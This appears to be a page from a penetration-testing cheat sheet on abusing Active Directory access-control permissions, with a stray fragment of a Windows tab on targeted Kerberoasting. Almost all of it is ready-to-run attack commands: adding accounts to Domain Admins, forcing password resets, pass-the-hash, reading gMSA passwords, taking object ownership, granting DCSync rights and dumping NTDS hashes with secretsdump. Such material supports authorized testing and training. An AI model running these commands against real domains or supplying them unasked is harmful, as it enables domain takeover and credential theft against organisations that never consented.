ACLs/ACEs permissions

AddMember

This abuse can be carried out when controlling an object that has a GenericAll, GenericWrite, Self, AllExtendedRights or Self-Membership, over the target group.

# Using bloodyAD
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" add groupMember "$TargetGroup" "$TargetUser"

# With net and cleartext credentials (will be prompted) 
net rpc group addmem "$TargetGroup" "$TargetUser" -U "$DOMAIN"/"$USER" -S "$DC_HOST" 

# With net and cleartext credentials 
net rpc group addmem "$TargetGroup" "$TargetUser" -U "$DOMAIN"/"$USER"%"$PASSWORD" -S "$DC_HOST" 

# With Pass-the-Hash 
pth-net rpc group addmem "$TargetGroup" "$TargetUser" -U "$DOMAIN"/"$USER"%"ffffffffffffffffffffffffffffffff":"$NT_HASH" -S "$DC_HOST"

# Using ldeep
ldeep ldap -d "$DOMAIN" -s "$DC_IP" -u "$USER" -p "$PASSWORD" add_to_group "$TargetUser" "$TargetGroup"

# Command line 
net group 'Domain Admins' 'user' /add /domain 

# Powershell: Active Directory module 
Add-ADGroupMember -Identity 'Domain Admins' -Members 'user' 

# Powershell: PowerSploit module 
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'user'

ForceChangePassword

This abuse can be carried out when controlling an object that has a GenericAll, AllExtendedRights or User-Force-Change-Password over the target user.

# Modify the user password ‘USER_TARGET’ to ‘Password01!’ with bloodyAD
bloodyAD --host <ip> -d <domain> -u 'user' -p 'password' set password 'USER_TARGET' 'Password01!'

# Modify the password of the user ‘USER_TARGET’ to ‘Password01!’ with rpcclient
rpcclient -U 'user%password' <ip> -W <DOMAIN> -c 'setuserinfo2 <user_target> 23 Password01!'

# Modify the password of the user ‘USER_TARGET’ to ‘Password01!’ with net rpc
net rpc password "user_target" "Password01!" -U '<domain>/user%password' -S <ip>

# With Pass-the-Hash pth-net 
pth-net rpc password "$TargetUser" -U "$DOMAIN"/"$USER"%"ffffffffffffffffffffffffffffffff":"$NT_HASH" -S "$DC_HOST"

# Modify the password of the user ‘USER_TARGET’ to ‘Password01!’ with PowerView.py
powerview <domain>/'user':'password'@<ip> --dc-ip <ip>
PV > Set-DomainUserPassword -Identity 'user_target' -AccountPassword 'Password01!'

---------------------------------------------------------------------------------

# We verify that the change has been made correctly.
nxc smb <ip> -u 'USER_TARGET' -p 'Password01!'


</div>

</div>

<div data-gb-custom-block data-tag="tab" data-title='Windows'>

From Windows machines, this can be achieved with [Set-DomainObject](https://powersploit.readthedocs.io/en/latest/Recon/Set-DomainObject/) and [Get-DomainSPNTicket](https://powersploit.readthedocs.io/en/latest/Recon/Get-DomainSPNTicket/) ([PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1) module).

<div data-gb-custom-block data-tag="code" data-overflow='wrap'>
````python
# Make sure that the target account has no SPN 
Get-DomainUser 'victimuser' | Select serviceprincipalname 

# Set the SPN 
Set-DomainObject -Identity 'victimuser' -Set @{serviceprincipalname='nonexistent/BLAHBLAH'} 

# Obtain a kerberoast hash 
$User = Get-DomainUser 'victimuser' 
$User | Get-DomainSPNTicket | fl 

# Clear the SPNs of the target account 
$User | Select serviceprincipalname 
Set-DomainObject -Identity victimuser -Clear serviceprincipalname

ReadGMSAPassword

This abuse stands out a bit from other abuse cases. It can be carried out when controlling an object that has enough permissions listed in the target gMSA account's msDS-GroupMSAMembership attribute's DACL. Usually, these objects are principals that were configured to be explictly allowed to use the gMSA account.

The attacker can then read the gMSA (group managed service accounts) password of the account if those requirements are met.

# Using bloodyAd
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" get object $TargetObject --attr msDS-ManagedPassword

# Using gMSADumper
gMSADumper.py -u 'user' -p 'password' -d 'domain.local'

# Using ntlmrelayx
ntlmrelayx.py -t ldaps://10.0.0.5 -debug --dump-gmsa --no-dump --no-da --no-acl --no-validate-privs

# Using ldeep
ldeep ldap -d "$DOMAIN" -s "$DC_IP" -u "$USER" -p "$PASSWORD" gmsa -t $TargetObject

On Windows systems, there are multiple ways to read gMSA passwords.

The first one uses the Active Directory and DSInternals PowerShell modules.

# Save the blob to a variable 
$gmsa = Get-ADServiceAccount -Identity 'Target_Account' -Properties 'msDS-ManagedPassword' 
$mp = $gmsa.'msDS-ManagedPassword' 

# Decode the data structure using the DSInternals module 
ConvertFrom-ADManagedPasswordBlob $mp 
# Build a NT-Hash for PTH 
(ConvertFrom-ADManagedPasswordBlob $mp).SecureCurrentPassword | ConvertTo-NTHash 

# Alterantive: build a Credential-Object with the Plain Password 
$cred = new-object system.management.automation.PSCredential "Domain\Target_Account",(ConvertFrom-ADManagedPasswordBlob $mp).SecureCurrentPassword

The second one relies on GMSAPasswordReader (C#).

.\GMSAPasswordReader.exe --AccountName 'Target_Account'

Grant ownership

This abuse can be carried out when controlling an object that has WriteOwner or GenericAll over any object.

The attacker can update the owner of the target object. Once the object owner has been changed to a principal the attacker controls, the attacker may manipulate the object any way they see fit. For instance, the attacker could change the target object's permissions and grant rights

# Using bloodyAD
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" set owner $TargetObject $ControlledPrincipal

# Using impacket
owneredit.py -action write -new-owner 'attacker' -target 'victim' 'DOMAIN'/'USER':'PASSWORD'

Grant Rights

This abuse can be carried out when controlling an object that has WriteDacl over another object.

The attacker can write a new ACE to the target object’s DACL (Discretionary Access Control List). This can give the attacker full control of the target object.

Instead of giving full control, the same process can be applied to allow an object to DCSync by adding two ACEs with specific Extended Rights (DS-Replication-Get-Changes and DS-Replication-Get-Changes-All). Giving full control leads to the same thing since GenericAll includes all ExtendedRights, hence the two extended rights needed for DCSync to work.

# Give full control (with inheritance to the child object if applicable) 
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" add genericAll "$TargetObject" "$ControlledPrincipal"

# Give DCSync (DS-Replication-Get-Changes, DS-Replication-Get-Changes-All)
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" add dcsync "$ControlledPrincipal"

# Give full control 
dacledit.py -action 'write' -rights 'FullControl' -principal 'controlled_object' -target 'target_object' "$DOMAIN"/"$USER":"$PASSWORD" 
# Give DCSync (DS-Replication-Get-Changes, DS-Replication-Get-Changes-All) 
dacledit.py -action 'write' -rights 'DCSync' -principal 'controlled_object' -target 'target_object' "$DOMAIN"/"$USER":"$PASSWORD"

---------------------------------------------------------------------------

# Once the user has DCSync permissions, we make a dump of NTDS.dit
impacket-secretsdump <domain>/'user':'password'@<ip> -dc-ip <ip> -just-dc-ntlm

# Grant DCSync permissions to the identity ‘user_target’.
Import-Module .\PowerView.ps1
$SecPassword = ConvertTo-SecureString 'Password01!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('<domain>\<user>', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'DC=dominio,DC=htb' -Rights DCSync -PrincipalIdentity 'user_target' -Verbose -Domain dominio.htb

# Using Add-DomainObjectAcl (PowerView module)
Add-DomainObjectAcl -Rights 'All' -TargetIdentity "target_object" -PrincipalIdentity "controlled_object" 
# Give DCSync (DS-Replication-Get-Changes, DS-Replication-Get-Changes-All) 
Add-DomainObjectAcl -Rights 'DCSync' -TargetIdentity "target_object" -PrincipalIdentity "controlled_object"

PreviousLateral Move NextActive Directory Certificate Services (AD CS)

Last updated 4 months ago